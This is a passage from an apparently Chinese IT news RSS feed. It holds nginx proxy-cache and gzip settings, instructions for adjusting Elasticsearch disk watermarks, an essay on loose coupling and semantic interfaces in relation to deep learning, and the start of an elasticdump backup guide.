 &lt;pre&gt;  &lt;code&gt;# filename: proxy_cache.conf

proxy_cache_path /data/nginx/proxy_cache levels=1:2 keys_zone=CACHE:1024m max_size=10g inactive=12h use_temp_path=off;

# cache_path:           缓存存放的目录
# keys_zone:            缓存 zone名为 CACHE, 内存分配大小为 1024M，每M大约能存储8000个key
# loader_files:         最大加载文件数量 (缺省: 100)
# loader_threshold:     迭代的持续时间,以毫秒为单位(缺省: 200)
# max_size:             缓存最大上限空间
# inactive:             清空 12h 没有访问过的文件，缺省10分钟
# use_temp_path:        为off时将在缓存直接写到proxy_cache_path目录下，on时先写入到proxy_temp_path然后重命名到 proxy_cache_path下[建议使用off]

proxy_cache_key	            $scheme$host$request_method$request_uri;
proxy_no_cache              $cookie_nocache $arg_nocache $http_authorization;
&lt;/code&gt;&lt;/pre&gt;
 &lt;h2&gt;7、开启gzip压缩&lt;/h2&gt;
 &lt;pre&gt;  &lt;code&gt;# filename: gzip.conf

gzip             on;
gzip_min_length  4k;
gzip_buffers     4 256k;
gzip_comp_level  6;
gzip_types       application/atom+xml
                 application/javascript
                 application/json
                 application/ld+json
                 application/manifest+json
                 application/rss+xml
                 application/vnd.geo+json
                 application/vnd.ms-fontobject
                 application/x-font-ttf
                 application/x-web-app-manifest+json
                 application/xhtml+xml
                 application/xml
                 font/opentype
                 image/bmp
                 image/svg+xml
                 image/x-icon
                 text/cache-manifest
                 text/css
                 text/plain
                 text/vcard
                 text/vnd.rim.location.xloc
                 text/vtt
                 text/x-component
                 text/x-cross-domain-policy;
gzip_vary        on;
gzip_proxied     expired no-cache no-store private auth;
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
  &lt;p&gt;提示： 也可以使用Google的br压缩算法（需要手动编译）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>奇技淫巧 系统运维</category>
      <guid isPermaLink="true">https://itindex.net/detail/62457-nginx-%E6%80%A7%E8%83%BD%E8%B0%83%E4%BC%98</guid>
      <pubDate>Sun, 16 Oct 2022 15:17:02 CST</pubDate>
    </item>
    <item>
      <title>调整Elasticsearch存储使用比例</title>
      <link>https://itindex.net/detail/62381-elasticsearch-%E6%AF%94%E4%BE%8B</link>
      <description>&lt;h2&gt;环境&lt;/h2&gt;
 &lt;ul&gt;
  &lt;li&gt;Elasticsearch版本：7.10.2&lt;/li&gt;
&lt;/ul&gt;
 &lt;h2&gt;问题现象&lt;/h2&gt;
 &lt;img alt="&amp;#35843;&amp;#25972;Elasticsearch&amp;#23384;&amp;#20648;&amp;#20351;&amp;#29992;&amp;#27604;&amp;#20363;" src="https://vqiu.cn/content/images/2022/08/WX20220826-183302@2x.png"&gt;&lt;/img&gt; &lt;p&gt;Elasticsearch所在的节点磁盘空间达到一定的水位时，会自动触发规则，这些规则可能会影响我们的业务。主要以下默认的配置参数影响：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;strong&gt;    &lt;code&gt;cluster.routing.allocation.disk.threshold_enabled: true&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;strong&gt;    &lt;code&gt;cluster.routing.allocation.disk.watermark.low：85%&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;strong&gt;    &lt;code&gt;cluster.routing.allocation.disk.watermark.high: 90%&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;strong&gt;    &lt;code&gt;cluster.routing.allocation.disk.watermark.flood_stage：95%&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;Elasticsearch某个节点磁盘使用率为 85% 的时，就不会在该节点进行创建副本，当磁盘使用率达到 90% 的时，尝试将该节点的副本重分配到其他节点。当磁盘使用率达到95% 的时，当前节点的所有索引将被设置为只读索引。&lt;/p&gt;
 &lt;h2&gt;解决方案&lt;/h2&gt;
 &lt;h3&gt;方法1、增加主机上的磁盘空间&lt;/h3&gt;
 &lt;ul&gt;
  &lt;li&gt;删除主机上所有不需要的文件&lt;/li&gt;
  &lt;li&gt;在线扩容磁盘*(能用钱解决的问题就不叫问题)*&lt;/li&gt;
&lt;/ul&gt;
 &lt;h3&gt;方法2、  修改Elasticsearch配置策略&lt;/h3&gt;
 &lt;p&gt;  &lt;strong&gt;在线调整&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;只需要将配置参数PUT到Elasticsearch即可生效。&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;临时生效&lt;/li&gt;
&lt;/ul&gt;
 &lt;pre&gt;  &lt;code&gt;# curl -XPUT -H &amp;quot;Content-Type: application/json&amp;quot; 127.0.0.1:9200/_cluster/settings \
-d &amp;apos;
{
  &amp;quot;transient&amp;quot;: {
    &amp;quot;cluster.routing.allocation.disk.watermark.low&amp;quot;: &amp;quot;90%&amp;quot;,
    &amp;quot;cluster.routing.allocation.disk.watermark.high&amp;quot;: &amp;quot;95%&amp;quot;,
    &amp;quot;cluster.routing.allocation.disk.watermark.flood_stage&amp;quot;: &amp;quot;98%&amp;quot;,
    &amp;quot;cluster.info.update.interval&amp;quot;: &amp;quot;90s&amp;quot;
  }
}&amp;apos;
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
  &lt;p&gt;   &lt;code&gt;cluster.info.update.interval&lt;/code&gt;检测的周期，默认是30s&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;ul&gt;
  &lt;li&gt;永久生效&lt;/li&gt;
&lt;/ul&gt;
 &lt;pre&gt;  &lt;code&gt;# curl -XPUT -H &amp;quot;Content-Type: application/json&amp;quot; 127.0.0.1:9200/_cluster/settings \
-d &amp;apos;
{
  &amp;quot;persistent&amp;quot;: {
    &amp;quot;cluster.routing.allocation.disk.watermark.low&amp;quot;: &amp;quot;90%&amp;quot;,
    &amp;quot;cluster.routing.allocation.disk.watermark.high&amp;quot;: &amp;quot;95%&amp;quot;,
    &amp;quot;cluster.routing.allocation.disk.watermark.flood_stage&amp;quot;: &amp;quot;98%&amp;quot;,
    &amp;quot;cluster.info.update.interval&amp;quot;: &amp;quot;90s&amp;quot;
  }
}&amp;apos;
&lt;/code&gt;&lt;/pre&gt;
 &lt;h3&gt;方法3、写入配置文件&lt;/h3&gt;
 &lt;p&gt;将以下内容写到配置文件（  &lt;code&gt;elasticsearch.yml&lt;/code&gt;)中&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;cluster.routing.allocation.disk.threshold_enabled: true
cluster.routing.allocation.disk.watermark.low: 90%
cluster.routing.allocation.disk.watermark.high: 95%
cluster.routing.allocation.disk.watermark.flood_stage: 98%
cluster.info.update.interval: 90s
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;重启启动服务，完成后可以使用以下命令来确认。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;# curl -XGET  127.0.0.1:9200/_cluster/settings
&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>故障记录 系统运维</category>
      <guid isPermaLink="true">https://itindex.net/detail/62381-elasticsearch-%E6%AF%94%E4%BE%8B</guid>
      <pubDate>Fri, 26 Aug 2022 18:32:45 CST</pubDate>
    </item>
    <item>
      <title>松耦合，语义界面，及人工智能</title>
      <link>https://itindex.net/detail/62302-%E8%80%A6%E5%90%88-%E8%AF%AD%E4%B9%89-%E7%95%8C%E9%9D%A2</link>
      <description>&lt;p&gt;  &lt;strong&gt;松耦合，语义界面，及人工智能&lt;/strong&gt;  &lt;br /&gt;
辉格  &lt;br /&gt;
2022年6月13日&lt;/p&gt;
 &lt;p&gt;上周我就AI的当前状况做了点小思考，昨天又花了不少时间想这事情，发现许多曾经想过的点好像都串起来了，值得写一写。&lt;/p&gt;
 &lt;p&gt;让我绕远一点，从传统软件开发说起。&lt;/p&gt;
 &lt;p&gt;在遗留系统上工作过的人可能都有体会，当一个系统变得日益庞大复杂时，它会慢慢的绞成一团乱麻，添加新特性，修改旧特性，都变得越来越难以下手，因为很多地方都是牵一发而动全身，你改了这里，不知道哪里会冒出一堆bug。&lt;/p&gt;
 &lt;p&gt;因为意识到处处是地雷，新来的程序员轻易不敢动旧代码，每当要进行一项改动时，只敢小心翼翼的找到一处他认为最适宜的切入点，从那里开始插入他的新代码，结果就像在一个庞大身躯上又安装了一条新假肢，久而久之，这副躯体就变成了一头全身长满假肢的怪物，每条假肢上又接出若干条假肢，许多遥远假肢之间还常常连着一些电线，这些电线自然也是绞成一团……&lt;/p&gt;
 &lt;p&gt;这是一种非常自然的倾向，只要没有系统性的手段加以阻止，持续强力一种贯彻某种结构方案和设计原则，就必定会发生。&lt;/p&gt;
 &lt;p&gt;广而言之，任何紧耦合系统都是如此，这也是为何软件工程界如此强调松耦合，每个谈论这一话题的人都是三句不离解耦。&lt;/p&gt;
 &lt;p&gt;一个典型的紧耦合系统是生物的基因组，每个变异常会影响数千个性状，每个性状常受数千个基因的影响，真真是牵一发而动全身，也正因此，行为遗传学研究才如此困难，像亨廷顿舞蹈症这种单点突变性状太少了，不足以为该学科持续赢得声誉，大众更关心的那些性状，往往涉及上千基因，其中每个的贡献率都很低，需要使用高端统计工具才能从海量样本数据中捞出一点点线索，能捞出的往往也只是贡献率排名靠前的那几个因子。（参考Robert Plomin – Blueprint: How DNA Makes Us Who We Are）&lt;/p&gt;
 &lt;p&gt;基因组可能是迄今我们发现的耦合最紧的一套信息系统，绞的最乱的一团乱麻，原因当然是，它是盲眼钟表匠的作品，没有一位设计师来执行一套设计方案，贯彻一组设计原则，每项改动都是（掷飞镖+自然选择）的结果，毫无设计原则可言，而且它又那么古老，数十亿年来积累了无数补丁，不夸张的说，它就是一大包补丁组成的。&lt;/p&gt;
 &lt;p&gt;从任一时刻看，一套软件的开发似乎通常都有一位设计师在贯彻某种方案或原则，可是从长期看，设计师/程序员来来去去，换了一波又一波，其中大部分是庸人或懒人，不庸不懒的那些，也常常为了赶进度而将设计原则抛诸脑后，结果，在宏观效果上，其中每位的每项行动，最终也都不过是一支随机飞镖，测试、QA和客户则构成了他们的自然选择环境，最终系统还是会被绞乱，沦为一团乱麻。&lt;/p&gt;
 &lt;p&gt;依我看，任何紧耦合系统最终都会遭遇某种极限，在某个临界点之后，让系统在功能上变得更丰富更强大的任何努力都将是得不偿失的，系统仍然可能继续进化，但此后的进化会以一种（姑可称为）生态位漂移的方式进行，即，系统可能增加某些新特性，增强某些旧特性，但为此不得不牺牲另一些特性，在某处进行改进的同时，容忍另一些地方冒出一些难以修复的bug（因为其乱麻性质，避免或修复这些被新改动牵出的新问题成本太高了），有时候这些地方反正已经很少被用到了，所以也没人介意，久而久之，系统抛弃了某些特性，发展了另一些特性，从而适应了新的生态位。（可以想象，在很长时间内，那些被抛弃的特性的遗骸会像一条条阑尾那样继续挂在这副丑陋的庞大躯体上）&lt;/p&gt;
 &lt;p&gt;我想把紧耦合系统面临的这种发展极限称为科斯临界点，在他那篇经典论文《厂商的性质》中，科斯指出，企业与市场的边界所在，取决于组织成本与交易成本之间的权衡，企业将一些原本通过市场交易分工协调起来的生产活动纳入企业内部集中管理，避免了一些交易成本，同时带来了组织成本。&lt;/p&gt;
 &lt;p&gt;不妨（过度简化的）将企业视为紧耦合系统，市场则是松耦合系统，当你将越来越多活动纳入企业内，到某个临界点，新增组织成本将超出新减交易成本，此时继续扩大企业将是得不偿失的，这是因为（如上述），当企业这种紧耦合系统庞大且古老到一定程度，将不可避免的变成一团乱麻，任何功能新增都会变得非常困难而昂贵，这也是为何我们总是需要市场（的理由之一），我在《群居的艺术》里专门用一章（秩序的解耦#7：创造复杂性的新途径）讨论了这个问题。&lt;/p&gt;
 &lt;p&gt;（枝节：这里的企业=紧耦合/市场=松耦合的二分当然是过度简化的，实际上耦合度是一个连续谱，财务上独立的企业之间的耦合度未必很低，有些承包商与其顾客之间的耦合度和企业部门间相差无几，这也是产业聚集效应的根源所在，而同时员工与企业的耦合度也可以很低（温州有些企业里每台机床都有独立电表），张五常的论文《厂商的合约性质》是理解这一连续谱的好起点。）&lt;/p&gt;
 &lt;p&gt;用系统论术语说，从孤立生产者到市场分工合作体系的发展，是一种元系统跃迁（metasystem transition），而元系统跃迁是突破紧耦合系统发展极限的一条常见途径：当丰富壮大一个紧耦合系统的努力变得日益得不偿失时，出路不是继续改进既有系统，而是另起一个层次，将既有系统纳入一个多系统共生合作体系中，从而创造出一个具有更多层次的系统，而在该体系中，各成员系统之间是松耦合的（或者更准确的说，它们之间的耦合是足够松的）。&lt;/p&gt;
 &lt;p&gt;那么，在元系统跃迁过程中究竟发生了什么，是什么条件的存在或出现，让各成员系统之间能在松耦合条件下建立合作共生关系的？&lt;/p&gt;
 &lt;p&gt;如果你也是程序员，头脑里大概会很快冒出一个答案：关键条件是某种接口或曰界面（interface）的出现，界面的存在使得各成员之间能够发生交流和交易，同时又不必过度相互依赖与纠缠，在相当程度上能够继续各自发展自己的特性与功能，往往还能保持可替换性，即，一个成员常可以将某方面的既有合作者替换成另一个合作者，只要后者能对同一合作界面做出符合预期的响应，比如将电力供应商从一家更换成另一家，只要后者支持同样的接口标准（电压、频率、接线规范等）。&lt;/p&gt;
 &lt;p&gt;软件工程中，对付那些已经达到科斯临界点却又不愿丢弃的遗留系统时，一个常见办法就是为它创造出一套界面来，比如让它将某些数据输出到指定格式的文件中，或写入某个外部数据库里，或反过来，让它从此类来源读入数据，或将其中仍有价值的代码重新包装成支持新接口的库，或让它接受某种脚本命令并做出相应动作，甚至，可能的话，将整个系统包装成一个能对给定请求做出响应的服务，诸如此类，都是在创造界面，让它能与新体系中的其他成员展开合作，同时不必过度触碰既有代码。&lt;/p&gt;
 &lt;p&gt;其他领域的元系统跃迁也必定涉及界面的创造（或适当界面恰好已经存在），比如在真核革命中，新创生的真核细胞体系中，被捕获而最终成为线粒体的细胞与其他细胞内共生体的交互界面就是ATP，这是线粒体作为细胞电池为其他细胞活动提供能量的标准界面，所有从线粒体输出的能量都以ATP形式存在，而细胞内的所有能量用户都知道怎么利用ATP；类似的，当蚂蚁蜜蜂等昆虫发展出真社会巢群时，它们的交互界面是一组外激素信号。&lt;/p&gt;
 &lt;p&gt;那么，这一切和AI有什么关系呢？不急，我很快就会说到。&lt;/p&gt;
 &lt;p&gt;现在让我们来看神经系统。初级神经元网络是基因组之外的又一个紧耦合系统，一团乱的不能再乱的乱麻；你可以训练一个神经元网络学会某种技能，但你无法解释训练得到的结果，如果有人问你它是怎么成功执行某项功能的，你唯一能做的是把整个网络中的突触连接（及其强度）描绘一遍——它们是如此这般连接的，所以它做到了——这根本不是解释，一个解释的信息量必须小于它所解释的东西的信息量，否则就只是描绘。&lt;/p&gt;
 &lt;p&gt;这一乱麻特性使得你无法直接改动一个神经元网络令其符合你的某种意图，要让它表现的有所不同，你只能给它设定新的训练环境，施加不同的激励反馈，给它喂不同的数据，希望它能学出点新模样，但你不能直接干预训练结果，因为这些结果是难以名状的、无从理解的，你无法预料一处改动会导致何种行为改变，这一不可能性比改动乱麻遗留系统的不可能性要高出一万倍。&lt;/p&gt;
 &lt;p&gt;所以不难理解，这种神经元系统发展到一定程度，也会（和其他紧耦合系统一样）碰到科斯临界点，而突破这一局限的出路同样是创造出交互界面，虽然具体实现方式和其他领域十分不同。&lt;/p&gt;
 &lt;p&gt;高级动物的神经系统朝分层和模块化的方向发展，在一些高度专业化的皮层内，神经元被清晰严整的分入一个个层次，每个神经元的输入与输出范围都严格受限，而且扇入/扇出系数往往很小，通常都只接受来自前一层上紧邻少数几个神经元的输入，其输出也只投射到下一层的少数几个紧邻神经元。&lt;/p&gt;
 &lt;p&gt;比如在阅读过程中，从最简单的线条形状识别，到最终的字符和词汇识别，经历几个层次，其中每个神经元都只专注于一种形状，或一种线条组合，或一个独特字符，这些神经元的输出不会被随便越过几个层次或越出模块投射到其他遥远脑区，它们输出的信息在被其他脑区利用之前，通常要经过前额叶皮层中某些高级认知模块的中介，到达那里的信息已经是经过好几层加工的抽象表征，诸如“那里有朵红色的花”之类（参考：Stanislas Dehaene《脑的阅读》）。&lt;/p&gt;
 &lt;p&gt;（枝节：这种输入输出限制当然不是密不透风的，一个重要的例外是，知觉皮层的神经元会接受来自其服务对象前额叶的输入，这是一种非常关键的反馈机制，是高级认知中枢在告诉初级知觉皮层：你送来的信息是否足够有趣，就好比国家情报总监（DNI）在告诉其下属情报机构，对他们传来的某条情报有多感兴趣，这一反馈继而将影响后者的后续情报采集取向，比如，上级若对某类信息表现出高度兴趣，采集者可能会降低识别此类情形的阈值，导致更多假阳性，而在错失成本远高于误认成本的情况下，这可能是值得的。）&lt;/p&gt;
 &lt;p&gt;限制神经元投射范围，并且在进一步向其他脑区投射之前，把初级信号变成符号化的抽象表征，这一步极为关键，其实就是一种界面化，而这是大脑模块化，且模块之间实现松耦合的基础，来自各大感官的知觉系统与其他系统的交互只需通过高层符号界面进行，整个系统就不会纠缠为一团乱麻（虽然单一模块内仍然可以是一团乱麻）。&lt;/p&gt;
 &lt;p&gt;人类在认知系统界面化的方向上又跨出了一大步，人类不仅能产生符号化的知觉表征，还能对知觉行为本身进行表征，我不仅能认出一只兔子（一阶知觉），还会说（或在头脑中默想）：“我看到了一只兔子”（二阶知觉），还会对自己的知觉结果提出疑问：“我好像看到了一只兔子，我会不会看错了？”——这是三阶知觉，因为我首先需要对我的二阶知觉本身形成知觉——“我觉得“我看到了一只兔子”，我的这一知觉是否正确？”，而这一二阶知觉的正确性又取决于一阶知觉“那里有一只兔子”的正确性）。&lt;/p&gt;
 &lt;p&gt;我还能对他人说出我的一阶知觉：“这是一只兔子”，从而在听者的头脑中产生二阶知觉“他看到了一只兔子”，对方可能会（如果他足够信任我）也可能不会（如果他不够信任我）将这一二阶认知转换为自己的一阶认知“那里有只兔子”。&lt;/p&gt;
 &lt;p&gt;二阶知觉能力让我们能够产生一种非常新颖高级的意识活动，动物或许也有意识（取决于定义），但它们显然没有我们这么高级的意识活动，比如斟酌与反思：“我上次在这个地方也见过一团白色东西跑过，当时我以为那是只兔子，后来的事情证明我弄错了，所以这次我得看仔细点，别再弄错了”，或“那好像只兔子，可是且慢，为何它的眼睛不是红色的？咦，它怎么发出了这种叫声？我可从来没听到兔子会叫”……&lt;/p&gt;
 &lt;p&gt;据Stanislas Dehaene的理论（见《脑与意识》），意识是一种由前额叶皮层激发的全脑激活状态，前额叶就像DNI，当它从各知觉系统收到某些类型的情报时，会将其向全脑广播，在数百毫秒中、在分布广泛的众多脑区触发一波高度活跃的神经活动，假如Dehaene是对的，那么丹内特的多重草稿模型中的每个意识瞬间，就是来自不同知觉模块的多重草稿中成功抢到麦克风的那个，经由全脑广播而触发的一轮脑活动，这些意识瞬间继而在记忆中被组织为一套连贯的自我中心叙事，后者构成了我们对世界的体验。&lt;/p&gt;
 &lt;p&gt;就本文主题而言，重要的是，这种二阶知觉表征是符号化的，或者说是语义化的，经过了好几层抽象，早已远离了各知觉模块的初级表征，比如，当我们阅读时，经由前额叶向全脑广播的信息中，不会包括那些有关笔画线条的表征信息，甚至不会是字符表征，而是一些词汇/短语或（可能更经常的）是与这些词汇/短语有关的概念表征（除非某一时刻前额叶不知何故突然将关注点转向笔画线条本身，这种关注转向当然也是由来自其他模块的某种信号所触发）。&lt;/p&gt;
 &lt;p&gt;这就意味着，各种高级意识活动之间的互动，是通过一种语义界面进行的，因而也是松耦合的，它们之间的互动关系既有合作，也有竞争（抢麦），这一情形很像国会中发生在议员之间的事情，他们或各自表达自己的看法，提出各自主张和立场，或针对其他议员的观点提出正面或反面的证据，或支持或反对的理由，他们相互争辩或支持，站队和拉帮结派……，最终，某种决议会从中产生，它就像动作信号输出到运动或内分泌中枢，变成行动。（我在《沐猿而冠》附录〈何为理性动物〉中详细展开了这个国会隐喻）&lt;/p&gt;
 &lt;p&gt;语义界面的存在使得高级意识功能在松耦合前提下实现模块化，其后果是，我们的各种认知技能与知识构件可以各自独立发展，并通过语义界面相互合作，如此一来，我们的理性能力和知识体系便有了一个极为广阔的积累性发展空间。&lt;/p&gt;
 &lt;p&gt;让我解释一下这是什么意思。&lt;/p&gt;
 &lt;p&gt;所谓理性，并不是一个单一算法，而是由众多独立平行构件（算法）组成，比如，我们或许有一个类似三段论推理机的模块，或许有一部贝叶斯推断机，或有一个数数模块，一个四则运算模块，还有许多危险探测装置（恐高，幽闭恐惧，密集恐惧，蛇形恐惧，是最基础的几种），以及机会探测装置（有人看见美女就两眼放光，有人则对赚钱机会有着敏锐嗅觉），这些探测装置并不试图对观察对象整体建模，而只对某些特征线索敏感，但它们都是我们理性的组成部分，这些模块既相互竞争，也会相互合作与强化。&lt;/p&gt;
 &lt;p&gt;设想我们的头脑就是一部正在被生活经历所训练的人工智能系统，它不是作为一个整体而囫囵学习的，各模块、各组件有着自己独立的学习进程，每个只专注输入信息中某个特定侧面或某些特征线索，每个也有着自己不同的模型骨架（比如这是部贝叶斯推断机，那是个加法装置，还有个是逻辑矛盾探测器……）。&lt;/p&gt;
 &lt;p&gt;这种模块专业化使得系统具有一种内在保守性，不会随训练数据的变化而过度摆动，因为每个模块的输入输出和反馈回路都被其“专业兴趣”局限住了，会自动忽略训练数据中的其他方面；这一点背后的原理是世界之可理解性假设：世界的某些局部与侧面一定比其整体更稳定、更一致、更少变，否则世界便是不可理解的；经验也告诉我们，专家与非专家的一个区别就是，前者的观点更少随近期事态变动而摇摆。&lt;/p&gt;
 &lt;p&gt;举个例子，虽然我不懂围棋，但我相信，假如我们修改围棋规则，把棋盘从19×19换成21×21，顶尖棋手们的专业经验可能很大部分报废了，但也会有很多仍然有用，可是对于一个只会囫囵学习的智能系统，其经验将完全报废，一切必须从头开始。&lt;/p&gt;
 &lt;p&gt;模块的内在保守性是可积累发展的前提，每个模块保持大致稳定，各自随训练继续而精炼（即框架稳定的同时在边际上改进），同时系统时不时添加一些新模块，令其认知能力随可用模块增长而不断升级增强，变得越来越全面、老练和精到。&lt;/p&gt;
 &lt;p&gt;再举个例子，某人若是对赚钱机会有着敏锐嗅觉，他有潜力成为一位好投资者，可是如果他懂一点基础会计知识，会一点财务精算，那就有望成为更好的投资者，如果他还受过一些风险控制训练，那就更好了，重要的是，机会嗅探，财务精算，风险控制，这三个模块最好是独立存在，这样的好处是：1）它们本身会更稳定持久，持续精炼，2）它们可以被分别传授和训练，因而在缺乏实景训练数据时也可能习得，3）它们可以实现跨系统分工与合作，比如人际分工。&lt;/p&gt;
 &lt;p&gt;让我一点点说。&lt;/p&gt;
 &lt;p&gt;假如风控模块不是独立的，而是以无从辨认的形态分散于系统各处，和其他东西纠缠在一起，它就无法稳定，在繁荣期的训练数据影响下，风控标准会迅速降低，因为更有纪律的风控倾向得不到多少正面反馈，反之，在萧条期，系统的风控倾向又会摆向另一个极端，这种大幅摇摆使得它无法实现可持续积累和精炼（现实中很多投资者头脑中的风控模块正是如此）。&lt;/p&gt;
 &lt;p&gt;（为了说明模块独立性为何会带来稳定持久性，我想再多说几句，一个输入输出和反馈回路被充分局限住的模块，常常能达到一种近乎于（但不完全是）自我激励的状态，它能为自己找事做，并从结果中得到满足，因而总是自得其乐的沉醉于其中，比如男人头脑里有一个腰臀曲线探测器，从实用功能上说，这是用来探测生育期女人的裸露躯体的，这个探测器可以在输入极为有限的情况下持续自我训练和激励并乐在其中，这也是某些色情图片如此有吸引力的缘故所在，尽管在现代传播条件下该模块的这种表现其实根本得不到任何现实回报，如果系统是囫囵学习的，没有模块独立性，当代男人对色情图片的兴趣早就丧失殆尽了，所以，如果你希望系统里有一个忠实勤勉持久敏锐的风控模块，它最好像男人的腰臀曲线探测器那么自主存在和自我激励，每一次都会为自己能察觉任何风险线索而兴奋不已。）&lt;/p&gt;
 &lt;p&gt;假如风控模块不是独立的，或者不是通过语义界面与其他模块交互的，它也无法在系统间被传授，传授的好处是可以免去实景训练的高昂成本，哪怕效果差一些（因为当经验通过语义界面传输时，难免会丢失一些信息，所谓默会知识，就是那些无法穿透语义界面的知识），往往也是值得的，如果你读几本书或听一席话就能学到一些基本的风险识别技能，哪怕只是一点点，得失比也比在市场浪涛中亲身获取这些教训高多了。&lt;/p&gt;
 &lt;p&gt;假如风控模块不是独立的，或者不是通过语义界面与其他模块交互的，它也无法在系统间实现分工合作，一位投资者就无法将风控事务委托给他人完成，与此类似的任何松耦合分工合作都不可能发生，虽然仍会有一些其他形式的合作，比如对默会知识的手把手传授，但这种合作注定只能以极小的规模发生，因为它是紧耦合的。&lt;/p&gt;
 &lt;p&gt;人类认知系统跨出的一大步，就是将语义界面向外开放了，并且通过人际协调博弈而形成共同接受的语义界面；自然语言的出现，使得语义界面不仅是系统内各模块间交互的界面，还成了系统间交互的界面，正是这一步促成了人类认知与知识系统的另一次元系统跃迁，它创造了大规模分工合作体系，大型复杂社会，以及文明。&lt;/p&gt;
 &lt;p&gt;依我的有限了解，当前深度学习派人工智能所走的路线，看起来和语义界面路线是背道而驰的，深度神经元网络（DNN）虽然是分层的，但每个层次的输出到底是什么，是说不清楚的，或者说，是没有语义化的，也正因此，这种系统的学习结果是无法被检查、解释和改动的，整个一黑箱，你没办法把它打开，看看其中那条逻辑不对劲，能不能改一改，不可能，天地一笼统。&lt;/p&gt;
 &lt;p&gt;（再多解释几句，语义化的意思是，至少在模块或层次间交互的那些地方，每个神经元的特定输入输出值，必须有稳定持久的含义，唯如此，其他模块/层次才能持久的知道该如何与它互动，如何利用它输出的值，在想给它施加某种影响或希望从它那里引出某种结果时，该如何给它喂输入值，这些不能说不清楚，哪怕你凭空发明一个概念也好，那也算说清楚了（正如许多知识领域在发展过程中都会发明新概念），因为凭空发明的新概念只有在初次使用时才是不清楚的，随着它被反复使用，意思就清楚起来了——输出者在什么情况下会输出它，输入者在输入它后会做点什么——此后，只要交互各方保持对该语义约定的大致遵守，语义便稳定了下来。）&lt;/p&gt;
 &lt;p&gt;而且，好像也没有什么机制让DNN能够自发形成自主独立持久的模块（这一点和上一点其实互为因果），它比完全不分层的囫囵联结主义当然好多了，但也只好那么多，所以我的感觉是，尽管它在一些领域取得了耀眼突破，但很快会碰上极限。&lt;/p&gt;
 &lt;p&gt;话说回来，语义界面也不是没有代价，界面就是一种契约，语义界面是基于一套概念框架的一组契约，不仅契约本身是一种束缚，概念框架在帮助我们认识世界的同时，也约束了我们的认知可能性，不妨称之为范式锁入，虽然一个足够灵活开放的系统会不时引入新概念和新模块（在很多情况下这是通过类比/隐喻从旧概念中衍生出来的），但至少在特定时期内，特定任务域中，这种约束会妨碍我们的认知潜力，让我们难以跳出框架思考。&lt;/p&gt;
 &lt;p&gt;所以，在某些情况下，不受概念框架约束的囫囵学习可能是有用的，它能帮助我们发现一些在现有概念框架中难以言喻名状的情况，或许是某种风险，或者某种机会，或某种门道机巧，说不清楚它是什么，但它确实在那里，或确实管用；然后，这种发现如果被证明足够有价值，可能继而在采用语义界面的系统中促发一轮观念更新运动，一套新的概念框架被创造出来，就像库恩式科学革命中的情形。&lt;/p&gt;
 &lt;p&gt;总之，深度学习派确实取得了不小成就，其应用潜力或许也不小，但无论如何，沿这条道路大概走不到类人智能的程度。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>未分类 人工智能 元系统跃迁 智能 松耦合</category>
      <guid isPermaLink="true">https://itindex.net/detail/62302-%E8%80%A6%E5%90%88-%E8%AF%AD%E4%B9%89-%E7%95%8C%E9%9D%A2</guid>
      <pubDate>Mon, 13 Jun 2022 16:04:26 CST</pubDate>
    </item>
    <item>
      <title>Elasticsearch 数据备份、迁移</title>
      <link>https://itindex.net/detail/62158-elasticsearch-%E6%95%B0%E6%8D%AE-%E5%A4%87%E4%BB%BD</link>
      <description>&lt;img alt="Elasticsearch &amp;#25968;&amp;#25454;&amp;#22791;&amp;#20221;&amp;#12289;&amp;#36801;&amp;#31227;" src="https://vqiu.cn/content/images/2022/03/----_20220309215010.jpg"&gt;&lt;/img&gt; &lt;p&gt;在时候我们面临将Elasticsearch的数据进行迁移亦或是数据备份的场景，此时我们可以使用  &lt;code&gt;elasticsearch-dump&lt;/code&gt;这个工具来实现：&lt;/p&gt; &lt;h2&gt;Docker 安装&lt;/h2&gt; &lt;pre&gt;  &lt;code&gt;docker pull elasticdump/elasticsearch-dump
&lt;/code&gt;&lt;/pre&gt; &lt;h2&gt;示例：&lt;/h2&gt; &lt;p&gt;&lt;/p&gt; &lt;h3&gt;数据迁移&lt;/h3&gt; &lt;p&gt;mappings从production环境复制到staging环境&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;
docker run --rm -ti elasticdump/elasticsearch-dump \
  --input=http://production.es.com:9200/my_index \
  --output=http://staging.es.com:9200/my_index \
  --type=mapping
&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;数据从production环境复制到staging&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;docker run --rm -ti elasticdump/elasticsearch-dump \
  --input=http://production.es.com:9200/my_index \
  --output=http://staging.es.com:9200/my_index \
  --type=data
&lt;/code&gt;&lt;/pre&gt; &lt;h3&gt;数据备份至指定的文件&lt;/h3&gt; &lt;pre&gt;  &lt;code&gt;docker run --rm -ti -v /tmp:/tmp elasticdump/elasticsearch-dump \
  --input=http://production.es.com:9200/my_index \
